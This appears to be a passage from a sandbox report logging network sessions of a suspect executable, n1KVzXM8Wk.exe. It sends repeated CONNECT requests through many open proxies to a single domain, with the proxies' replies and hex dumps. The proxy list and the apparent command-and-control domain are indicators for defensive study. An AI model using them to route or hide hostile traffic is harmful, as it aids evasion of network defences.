1641	192.168.2.4	54492	104.238.228.201	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.421253920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.519690990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.647113085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.4	54637	27.75.148.52	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.421417952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.4	54516	142.54.232.6	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.422857046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.4	52547	38.255.72.68	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.424494982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.198522091 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.4	54200	117.160.250.163	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.444266081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.118617058 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.4	54654	27.77.237.93	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.727277994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.4	54468	175.183.82.221	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.727283001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.4	52443	132.148.129.254	18361	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.727478027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.740827084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.769599915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.4	54483	60.188.102.225	18080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.727572918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.4	54661	8.222.145.238	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.727854013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.4	54659	103.118.46.174	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.727946043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.4	54461	98.162.25.4	31654	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.748956919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.4	54655	116.107.182.41	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.753353119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.4	52553	201.184.159.28	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.809748888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.4	54688	138.68.60.8	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.848557949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.021662951 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.4	54182	171.248.213.121	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.849104881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.4	54662	103.83.232.122	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.849195957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.223793983 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.4	54675	211.222.252.187	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.859474897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.4	54694	185.158.114.14	26586	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.861093998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.4	54698	141.94.174.6	37876	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.880249023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.4	52551	103.165.155.163	1111	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.891285896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.4	52675	150.136.251.24	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.896760941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.025022984 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.4	53809	45.117.179.179	14791	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.902915955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680377007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.865864038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.975210905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.178329945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.4	54184	142.54.239.1	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.907409906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.4	52484	111.20.217.178	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.916390896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.560441017 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:44:53 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.4	54680	45.251.231.113	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.916399002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.4	54679	103.204.54.50	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.949796915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.4	54701	209.14.112.1	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.957993984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.4	54717	192.252.216.81	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.029285908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.4	54726	45.43.83.188	6471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.038155079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.378705025 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.4	52802	67.205.162.103	63177	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.065088987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.4	53899	212.110.188.204	34411	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.101661921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.147058010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147294998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.146984100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.146791935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.4	53854	164.132.170.100	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.102015972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.147090912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147299051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.147003889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.146830082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:06.146760941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:18.189138889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.4	52695	159.223.71.71	62572	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.102138042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.975037098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.365870953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.866321087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.4	52730	51.255.79.114	12682	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.102262974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.147099018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.4	54768	43.153.55.205	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.108172894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.4	52769	37.187.135.60	18472	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.109025955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.4	53886	88.87.72.134	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.231476068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.4	54571	178.207.8.20	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.232821941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.317037106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.348205090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.443906069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.959086895 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 791 Content-Type: text/html Date: Fri, 23 Feb 2024 08:45:46 GMT Expires: Fri, 23 Feb 2024 08:45:46 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.4	54712	175.183.82.221	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.232898951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.4	54710	106.14.249.81	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.233086109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.579174042 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.4	54760	104.225.220.233	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.233376026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
